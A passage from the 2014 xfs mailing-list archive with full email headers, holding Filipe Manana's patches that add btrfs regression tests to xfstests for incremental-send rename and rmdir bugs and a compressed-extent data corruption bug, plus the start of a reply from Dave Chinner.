3.2.2.145190 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Regression test for a btrfs incremental send issue related to renaming of directories. If at the time of the initial send we have a directory that is a child of a directory with a higher inode number, and then later after the initial full send we rename both the child and parent directories, but without moving any of them, a subsequent incremental send would produce a rename instruction for the child directory that pointed to an invalid path. This made the btrfs receive operation fail. This issue is fixed by the following linux kernel btrfs patch: Btrfs: incremental send, fix invalid path after dir rename Signed-off-by: Filipe David Borba Manana --- V2: Updated test comments with correct inode numbers (their relatives differences was correct, only the absolute values were not for some of them). Make use of the new _run_btrfs_util_prog() function. tests/btrfs/041 | 131 +++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/041.out | 1 + tests/btrfs/group | 1 + 3 files changed, 133 insertions(+) create mode 100755 tests/btrfs/041 create mode 100644 tests/btrfs/041.out diff --git a/tests/btrfs/041 b/tests/btrfs/041 new file mode 100755 index 0000000..5ebe6ca --- /dev/null +++ b/tests/btrfs/041 @@ -0,0 +1,131 @@ +#! /bin/bash +# FS QA Test No. btrfs/041 +# +# Regression test for a btrfs incremental send issue related to renaming of +# directories. If at the time of the initial send we have a directory that is +# a child of a directory with a higher inode number, and then later after the +# initial full send we rename both the child and parent directories, but +# without moving any of them, a subsequent incremental send would produce a +# rename instruction for the child directory that pointed to an invalid path. +# This made the btrfs receive operation fail. +# +# This issue is fixed by the following linux kernel btrfs patch: +# +# Btrfs: incremental send, fix invalid path after dir rename +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 Filipe Manana. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=`mktemp -d` +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + rm -fr $tmp +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux +_require_scratch +_need_to_be_root + +FSSUM_PROG=$here/src/fssum +[ -x $FSSUM_PROG ] || _notrun "fssum not built" + +rm -f $seqres.full + +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount + +mkdir -p $SCRATCH_MNT/a/b +mkdir $SCRATCH_MNT/d +mkdir $SCRATCH_MNT/a/b/c +mv $SCRATCH_MNT/d $SCRATCH_MNT/a/b/c +mkdir $SCRATCH_MNT/e +mkdir -p $SCRATCH_MNT/a/b/f/g +mv $SCRATCH_MNT/e $SCRATCH_MNT/a/b/f/g + +# Filesystem looks like: +# +# . (ino 256) +# |-- a (ino 257) +# |-- b (ino 258) +# |-- c (ino 260) +# | |-- d (ino 259) +# | +# |-- f (ino 262) +# |-- g (ino 263) +# |-- e (ino 261) + +_run_btrfs_util_prog subvolume snapshot -r $SCRATCH_MNT $SCRATCH_MNT/mysnap1 + +mv $SCRATCH_MNT/a/b/c $SCRATCH_MNT/a/b/x +mv $SCRATCH_MNT/a/b/x/d $SCRATCH_MNT/a/b/x/y +mv $SCRATCH_MNT/a/b/f $SCRATCH_MNT/a/b/w +mv $SCRATCH_MNT/a/b/w/g/e $SCRATCH_MNT/a/b/w/g/z + +# Filesystem now looks like: +# +# . (ino 256) +# |-- a (ino 257) +# |-- b (ino 258) +# |-- x (ino 260) +# | |-- y (ino 259) +# | +# |-- w (ino 262) +# |-- g (ino 263) +# |-- z (ino 261) + +_run_btrfs_util_prog subvolume snapshot -r $SCRATCH_MNT $SCRATCH_MNT/mysnap2 + +run_check $FSSUM_PROG -A -f -w $tmp/1.fssum $SCRATCH_MNT/mysnap1 +run_check $FSSUM_PROG -A -f -w $tmp/2.fssum -x $SCRATCH_MNT/mysnap2/mysnap1 \ + $SCRATCH_MNT/mysnap2 + +_run_btrfs_util_prog send $SCRATCH_MNT/mysnap1 -f $tmp/1.snap +_run_btrfs_util_prog send -p $SCRATCH_MNT/mysnap1 $SCRATCH_MNT/mysnap2 \ + -f $tmp/2.snap + +_scratch_unmount +_check_btrfs_filesystem $SCRATCH_DEV + +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount + +_run_btrfs_util_prog receive $SCRATCH_MNT -f $tmp/1.snap +run_check $FSSUM_PROG -r $tmp/1.fssum $SCRATCH_MNT/mysnap1 2>> $seqres.full + +_run_btrfs_util_prog receive $SCRATCH_MNT -f $tmp/2.snap +run_check $FSSUM_PROG -r $tmp/2.fssum $SCRATCH_MNT/mysnap2 2>> $seqres.full + +_scratch_unmount +_check_btrfs_filesystem $SCRATCH_DEV + +status=0 +exit diff --git a/tests/btrfs/041.out b/tests/btrfs/041.out new file mode 100644 index 0000000..309876c --- /dev/null +++ b/tests/btrfs/041.out @@ -0,0 +1 @@ +QA output created by 041 diff --git a/tests/btrfs/group b/tests/btrfs/group index a687634..09e309c 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -39,3 +39,4 @@ 034 auto quick 036 auto quick 040 auto quick +041 auto quick -- 1.7.9.5 From fdmanana@gmail.com Sun Feb 16 18:24:22 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 518877F5E for ; Sun, 16 Feb 2014 18:24:22 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id B9174AC040 for ; Sun, 16 Feb 2014 16:24:21 -0800 (PST) X-ASG-Debug-ID: 1392596659-04cb6c06cf182f50001-NocioJ Received: from mail-wi0-f182.google.com (mail-wi0-f182.google.com [209.85.212.182]) by cuda.sgi.com with ESMTP id 1OMVo9vlek096aZG (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 16 Feb 2014 16:24:19 -0800 (PST) X-Barracuda-Envelope-From: fdmanana@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.212.182 X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.182] Received: by mail-wi0-f182.google.com with SMTP id f8so1883365wiw.15 for ; Sun, 16 Feb 2014 16:24:18 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.182] X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.182] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id:in-reply-to:references; bh=vCDJEqiOx05yTH/7mVudKCp7XAkJFKYAxADMsUEC8XM=; b=ZIKVJmF8t5nkYK3HpIsdsKXKyFidz1tMfV7raCtSpmTzsR4FopFIdMv3jkaqmD2EWG T7CguXlyMWZnznLDuxxFlnBOsFzE4oc6ttC/8zSE4BHVPjgc5LiYoNqp6LkgDr1lTgjS Z1/drCXGdGN8+IDf7mZSn6nRxAOlmb48Hpj65nFDSkAsrM87pLj0xoMx8Ivpf3VySzt9 G+lpuagTYo07MTrIyIa8J1S/doosNa97ngTJCYU9s/l4NIBe9YiWxmpuQCDWNeCCRvRS a1TlReNhdBPhWIWtSMxhwg5cZDSWTdp+QsW2vlnUEO4nZGYWvLvUfrn3wXf4s7YoY7Qo UaMw== X-Received: by 10.180.97.37 with SMTP id dx5mr10514172wib.53.1392596658878; Sun, 16 Feb 2014 16:24:18 -0800 (PST) Received: from storm-desktop.lan (bl9-94-146.dsl.telepac.pt. [85.242.94.146]) by mx.google.com with ESMTPSA id f1sm27739355wik.1.2014.02.16.16.24.12 for (version=TLSv1.1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 16 Feb 2014 16:24:18 -0800 (PST) From: Filipe David Borba Manana To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, Filipe David Borba Manana Subject: [PATCH v2] xfstests: add test for btrfs send issuing duplicated rmdir ops Date: Mon, 17 Feb 2014 00:23:56 +0000 X-ASG-Orig-Subj: [PATCH v2] xfstests: add test for btrfs send issuing duplicated rmdir ops Message-Id: <1392596636-6624-1-git-send-email-fdmanana@gmail.com> X-Mailer: git-send-email 1.7.9.5 In-Reply-To: <1392584574-10317-1-git-send-email-fdmanana@gmail.com> References: <1392584574-10317-1-git-send-email-fdmanana@gmail.com> X-Barracuda-Connect: mail-wi0-f182.google.com[209.85.212.182] X-Barracuda-Start-Time: 1392596659 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145190 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Regression test for btrfs incremental send issue where an rmdir instruction was sent multiple times for the same target directory. The number of times depended on the number of hardlinks against the same inode inside the target directory. That inode must have had the highest number of all the inodes that were children of the directory. This made the btrfs receive command fail immediately once it received the second rmdir instruction. This issue is fixed by the following linux kernel btrfs patch: Btrfs: send, don't send rmdir for same target multiple times Signed-off-by: Filipe David Borba Manana --- V2: Make use of the new _run_btrfs_util_prog() function. tests/btrfs/042 | 124 +++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/042.out | 1 + tests/btrfs/group | 1 + 3 files changed, 126 insertions(+) create mode 100755 tests/btrfs/042 create mode 100644 tests/btrfs/042.out diff --git a/tests/btrfs/042 b/tests/btrfs/042 new file mode 100755 index 0000000..1e40755 --- /dev/null +++ b/tests/btrfs/042 @@ -0,0 +1,124 @@ +#! /bin/bash +# FS QA Test No. btrfs/042 +# +# Regression test for btrfs incremental send issue where an rmdir +# instruction was sent multiple times for the same target directory. +# The number of times depended on the number of hardlinks against +# the same inode inside the target directory. That inode must have +# had the highest number of all the inodes that were children of the +# directory. This made the btrfs receive command fail immediately once +# it received the second rmdir instruction. +# +# This issue is fixed by the following linux kernel btrfs patch: +# +# Btrfs: send, don't send rmdir for same target multiple times +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 Filipe Manana. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=`mktemp -d` +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + rm -fr $tmp +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux +_require_scratch +_need_to_be_root + +FSSUM_PROG=$here/src/fssum +[ -x $FSSUM_PROG ] || _notrun "fssum not built" + +rm -f $seqres.full + +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount + +mkdir -p $SCRATCH_MNT/a/b/c +echo 'hello world' > $SCRATCH_MNT/a/b/c/hel.txt +echo 'ola mundo' > $SCRATCH_MNT/a/b/c/foo.txt +ln $SCRATCH_MNT/a/b/c/foo.txt $SCRATCH_MNT/a/b/c/bar.txt +ln $SCRATCH_MNT/a/b/c/foo.txt $SCRATCH_MNT/a/b/baz.txt + +# Filesystem looks like: +# +# . (ino 256) +# |-- a/ (ino 257) +# |-- b/ (ino 258) +# |-- c/ (ino 259) +# | |-- hel.txt (ino 260) +# | |-- foo.txt (ino 261) +# | |-- bar.txt (ino 261) +# | +# |-- baz.txt (ino 261) + +_run_btrfs_util_prog subvolume snapshot -r $SCRATCH_MNT $SCRATCH_MNT/mysnap1 + +rm -f $SCRATCH_MNT/a/b/c/foo.txt +rm -f $SCRATCH_MNT/a/b/c/bar.txt +rm -f $SCRATCH_MNT/a/b/c/hel.txt +rmdir $SCRATCH_MNT/a/b/c + +# Filesystem now looks like: +# +# . (ino 256) +# |-- a/ (ino 257) +# |-- b/ (ino 258) +# |-- baz.txt (ino 261) + +_run_btrfs_util_prog subvolume snapshot -r $SCRATCH_MNT $SCRATCH_MNT/mysnap2 + +run_check $FSSUM_PROG -A -f -w $tmp/1.fssum $SCRATCH_MNT/mysnap1 +run_check $FSSUM_PROG -A -f -w $tmp/2.fssum -x $SCRATCH_MNT/mysnap2/mysnap1 \ + $SCRATCH_MNT/mysnap2 + +_run_btrfs_util_prog send $SCRATCH_MNT/mysnap1 -f $tmp/1.snap +_run_btrfs_util_prog send -p $SCRATCH_MNT/mysnap1 $SCRATCH_MNT/mysnap2 \ + -f $tmp/2.snap + +_scratch_unmount +_check_btrfs_filesystem $SCRATCH_DEV + +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount + +_run_btrfs_util_prog receive $SCRATCH_MNT -f $tmp/1.snap +run_check $FSSUM_PROG -r $tmp/1.fssum $SCRATCH_MNT/mysnap1 2>> $seqres.full + +_run_btrfs_util_prog receive $SCRATCH_MNT -f $tmp/2.snap +run_check $FSSUM_PROG -r $tmp/2.fssum $SCRATCH_MNT/mysnap2 2>> $seqres.full + +_scratch_unmount +_check_btrfs_filesystem $SCRATCH_DEV + +status=0 +exit diff --git a/tests/btrfs/042.out b/tests/btrfs/042.out new file mode 100644 index 0000000..b403295 --- /dev/null +++ b/tests/btrfs/042.out @@ -0,0 +1 @@ +QA output created by 042 diff --git a/tests/btrfs/group b/tests/btrfs/group index 09e309c..72279d5 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -40,3 +40,4 @@ 036 auto quick 040 auto quick 041 auto quick +042 auto quick -- 1.7.9.5 From fdmanana@gmail.com Sun Feb 16 18:36:23 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 106607F5F for ; Sun, 16 Feb 2014 18:36:23 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id B4B9E8F8035 for ; Sun, 16 Feb 2014 16:36:22 -0800 (PST) X-ASG-Debug-ID: 1392597376-04bdf00fc062760001-NocioJ Received: from mail-wi0-f180.google.com (mail-wi0-f180.google.com [209.85.212.180]) by cuda.sgi.com with ESMTP id 0q6yQOmvWz1iqW7M (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 16 Feb 2014 16:36:17 -0800 (PST) X-Barracuda-Envelope-From: fdmanana@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.212.180 X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.180] Received: by mail-wi0-f180.google.com with SMTP id hm4so1892328wib.1 for ; Sun, 16 Feb 2014 16:36:16 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.180] X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.180] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id:in-reply-to:references; bh=UG5Bk3wOFcaLEFIS0Bn7tfXFff8auIwSSG6AT4H6LrY=; b=r05LCJ/5IlmtohYbn9k/KyVAiEOeQrH/aTcNMuUB/2yAK194uPVKlVwrfdEt1YuYov GZiIB+7CCPRzrNqaUILlnYuMc+0ECDgYoMwqsXCM1idgD9f/QVeqEPg0Wzve+FUGZqCT bobVni3ViNsjUBYTQRIRO7JZF2D4OFtwFMre5+D4rpNiExcMyMUwkDQPexv/HkV5JAg1 i8mNf1zn0h36ESWUX4RwFdD+oH7hvN5jpqKQBPdfUcHqIM5r/xSOqaOO+sTjHYAE3kq5 OusvOta8d5hIsoxg1myy+1bwo0ZiDMs1SpeuxEp+zdTHMKgFJ+q88qtUhQHejvGeS8aR 4Jrw== X-Received: by 10.194.61.114 with SMTP id o18mr10586290wjr.6.1392597375982; Sun, 16 Feb 2014 16:36:15 -0800 (PST) Received: from storm-desktop.lan (bl9-94-146.dsl.telepac.pt. [85.242.94.146]) by mx.google.com with ESMTPSA id ev4sm27306564wib.1.2014.02.16.16.36.03 for (version=TLSv1.1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 16 Feb 2014 16:36:15 -0800 (PST) From: Filipe David Borba Manana To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, Filipe David Borba Manana Subject: [PATCH v2] xfstests: add test for btrfs data corruption when using compression Date: Mon, 17 Feb 2014 00:35:30 +0000 X-ASG-Orig-Subj: [PATCH v2] xfstests: add test for btrfs data corruption when using compression Message-Id: <1392597330-14200-1-git-send-email-fdmanana@gmail.com> X-Mailer: git-send-email 1.7.9.5 In-Reply-To: <1391874609-19721-1-git-send-email-fdmanana@gmail.com> References: <1391874609-19721-1-git-send-email-fdmanana@gmail.com> X-Barracuda-Connect: mail-wi0-f180.google.com[209.85.212.180] X-Barracuda-Start-Time: 1392597377 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145190 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Test for a btrfs data corruption when using compressed files/extents. Under certain cases, it was possible for reads to return random data (content from a previously used page) instead of zeroes. This also caused partial updates to those regions that were supposed to be filled with zeroes to save random (and invalid) data into the file extents. This is fixed by the commit for the linux kernel titled: Btrfs: fix data corruption when reading/updating compressed extents (https://patchwork.kernel.org/patch/3610391/) Signed-off-by: Filipe David Borba Manana Reviewed-by: Josef Bacik --- V2: Removed use of run_check with xfs_io and filter xfs_io instead. tests/btrfs/036 | 111 +++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/036.out | 3 ++ tests/btrfs/group | 1 + 3 files changed, 115 insertions(+) create mode 100755 tests/btrfs/036 create mode 100644 tests/btrfs/036.out diff --git a/tests/btrfs/036 b/tests/btrfs/036 new file mode 100755 index 0000000..73e166c --- /dev/null +++ b/tests/btrfs/036 @@ -0,0 +1,111 @@ +#! /bin/bash +# FS QA Test No. btrfs/036 +# +# Test for a btrfs data corruption when using compressed files/extents. +# Under certain cases, it was possible for reads to return random data +# (content from a previously used page) instead of zeroes. This also +# caused partial updates to those regions that were supposed to be filled +# with zeroes to save random (and invalid) data into the file extents. +# +# This is fixed by the commit for the linux kernel titled: +# +# Btrfs: fix data corruption when reading/updating compressed extents +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 Filipe Manana. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +tmp=`mktemp -d` + +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + rm -fr $tmp +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux +_require_scratch +_need_to_be_root + +rm -f $seqres.full + +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount "-o compress-force=lzo" + +$XFS_IO_PROG -f -c "pwrite -S 0x06 -b 18670 266978 18670" \ + $SCRATCH_MNT/foobar | _filter_xfs_io +$XFS_IO_PROG -c "falloc 26450 665194" $SCRATCH_MNT/foobar | _filter_xfs_io +$XFS_IO_PROG -c "truncate 542872" $SCRATCH_MNT/foobar | _filter_xfs_io +$XFS_IO_PROG -c "fsync" $SCRATCH_MNT/foobar | _filter_xfs_io + +# Expected file items in the fs tree are (from btrfs-debug-tree): +# +# item 4 key (257 INODE_ITEM 0) itemoff 15879 itemsize 160 +# inode generation 6 transid 6 size 542872 block group 0 mode 100600 +# item 5 key (257 INODE_REF 256) itemoff 15863 itemsize 16 +# inode ref index 2 namelen 6 name: foobar +# item 6 key (257 EXTENT_DATA 0) itemoff 15810 itemsize 53 +# extent data disk byte 0 nr 0 gen 6 +# extent data offset 0 nr 24576 ram 266240 +# extent compression 0 +# item 7 key (257 EXTENT_DATA 24576) itemoff 15757 itemsize 53 +# prealloc data disk byte 12849152 nr 241664 gen 6 +# prealloc data offset 0 nr 241664 +# item 8 key (257 EXTENT_DATA 266240) itemoff 15704 itemsize 53 +# extent data disk byte 12845056 nr 4096 gen 6 +# extent data offset 0 nr 20480 ram 20480 +# extent compression 2 +# item 9 key (257 EXTENT_DATA 286720) itemoff 15651 itemsize 53 +# prealloc data disk byte 13090816 nr 405504 gen 6 +# prealloc data offset 0 nr 258048 +# +# The on disk extent at 266240, contains 5 compressed chunks of file data. +# Each of the first 4 chunks compress 4096 bytes of file data, while the last +# one compresses only 3024 bytes of file data. Because this extent item is not +# the last one in the file, as it followed by a prealloc extent, reads into +# the region [285648 ; 286720[ (length = 4096 - 3024) should return zeroes. + +_scratch_unmount +_check_btrfs_filesystem $SCRATCH_DEV + +EXPECTED_MD5="b8b0dbb8e02f94123c741c23659a1c0a" + +for i in `seq 1 27` +do + _scratch_mount "-o ro" + MD5=`md5sum $SCRATCH_MNT/foobar | cut -f 1 -d ' '` + _scratch_unmount + if [ "${MD5}x" != "${EXPECTED_MD5}x" ] + then + echo "Unexpected file digest (wanted $EXPECTED_MD5, got $MD5)" + fi +done + +status=0 +exit diff --git a/tests/btrfs/036.out b/tests/btrfs/036.out new file mode 100644 index 0000000..6c06a86 --- /dev/null +++ b/tests/btrfs/036.out @@ -0,0 +1,3 @@ +QA output created by 036 +wrote 18670/18670 bytes at offset 266978 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) diff --git a/tests/btrfs/group b/tests/btrfs/group index f9f062f..2ca2225 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -37,3 +37,4 @@ 032 auto quick 033 auto quick 034 auto quick +036 auto quick -- 1.7.9.5 From david@fromorbit.com Sun Feb 16 19:17:22 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id CDA8E7F5F for ; Sun, 16 Feb 2014 19:17:22 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id AE3158F804B for ; Sun, 16 Feb 2014 17:17:19 -0800 (PST) X-ASG-Debug-ID: 1392599836-04cbb00c28495a80001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id ZJsR6oQx5nlT7pYH for ; Sun, 16 Feb 2014 17:17:17 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AoMJABRiAVN5LJYe/2dsb2JhbABZgwaDP7c5hVCBDxd0giUBAQU6HCMQCAMYCSUPBQ0YAyETh3EDEMIqDYgPFxaMUYIaB4Q4BI4/iAGBa4xfhUWDQSg Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 17 Feb 2014 11:47:16 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WFCpe-00045n-8A; Mon, 17 Feb 2014 12:17:14 +1100 Date: Mon, 17 Feb 2014 12:17:14 +1100 From: Dave Chinner To: Filipe David Manana Cc: xfs@oss.sgi.com, "linux-btrfs@vger.kernel.org" Subject: Re: [PATCH v2] xfstests: add regression test for btrfs incremental send Message-ID: <20140217011714.GZ13997@dastard> X-ASG-Orig-Subj: Re: [PATCH v2] xfstests: add regression test for btrfs incremental send References: <1392408522-764-1-git-send-email-fdmanana@gmail.com> <1392478573-4513-1-git-send-email-fdmanana@gmail.com> <20140216230851.GX13647@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1392599836 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sun, Feb 16, 2014 at 11:43:17PM +0000, Filipe David Manana wrote: > On Sun, Feb 16, 2014 at 11:08 PM, Dave Chinner wrote: > > On Sat, Feb 15, 2014 at 03:36:13PM +0000, Filipe David Borba Manana wrote: > >> Test for a btrfs incremental send issue where we end up sending a > >> wrong section of data from a file extent if the corresponding file > >> extent is compressed and the respective file extent item has a non > >> zero data offset. > >> > >> Fixed by the following linux kernel btrfs patch: > >> > >> Btrfs: use right clone root offset for compressed extents > >> > >> Signed-off-by: Filipe David Borba Manana > >> --- > >> > >> V2: Made the test more reliable. Now it doesn't depend anymore of btrfs' > >> hole punch implementation leaving hole file extent items when we punch > >> beyond the file's current size. > >> > >> tests/btrfs/040 | 115 +++++++++++++++++++++++++++++++++++++++++++++++++++ > >> tests/btrfs/040.out | 1 + > >> tests/btrfs/group | 1 + > >> 3 files changed, 117 insertions(+) > >> create mode 100755 tests/btrfs/040 > >> create mode 100644 tests/btrfs/040.out > >> > >> diff --git a/tests/btrfs/040 b/tests/btrfs/040 > >> new file mode 100755 > >> index 0000000..d6b37bf > >> --- /dev/null > >> +++ b/tests/btrfs/040 > >> @@ -0,0 +1,115 @@ > >> +#! /bin/bash > >> +# FS QA Test No. btrfs/040 > >> +# > >> +# Test for a btrfs incremental send issue where we end up sending a > >> +# wrong section of data from a file extent if the corresponding file > >> +# extent is compressed and the respective file extent item has a non > >> +# zero data offset. > >> +# > >> +# Fixed by the following linux kernel btrfs patch: > >> +# > >> +# Btrfs: use right clone root offset for compressed extents > >> +# > >> +#----------------------------------------------------------------------- > >> +# Copyright (c) 2014 Filipe Manana. All Rights Reserved. > >> +# > >> +# This program is free software; you can redistribute it and/or > >> +# modify it under the terms of the GNU General Public License as > >> +# published by the Free Software Foundation. > >> +# > >> +# This program is distributed in the hope that it would be useful, > >> +# but WITHOUT ANY WARRANTY; without even the implied warranty of > >> +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the > >> +# GNU General Public License for more details. > >> +# > >> +# You should have received a copy of the GNU General Public License > >> +# along with this program; if not, write the Free Software Foundation, > >> +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA > >> +#----------------------------------------------------------------------- > >> +# > >> + > >> +seq=`basename $0` > >> +seqres=$RESULT_DIR/$seq > >> +echo "QA output created by $seq" > >> + > >> +here=`pwd` > >> +tmp=`mktemp -d` > >> +status=1 # failure is the default! > >> +trap "_cleanup; exit \$status" 0 1 2 3 15 > >> + > >> +_cleanup() > >> +{ > 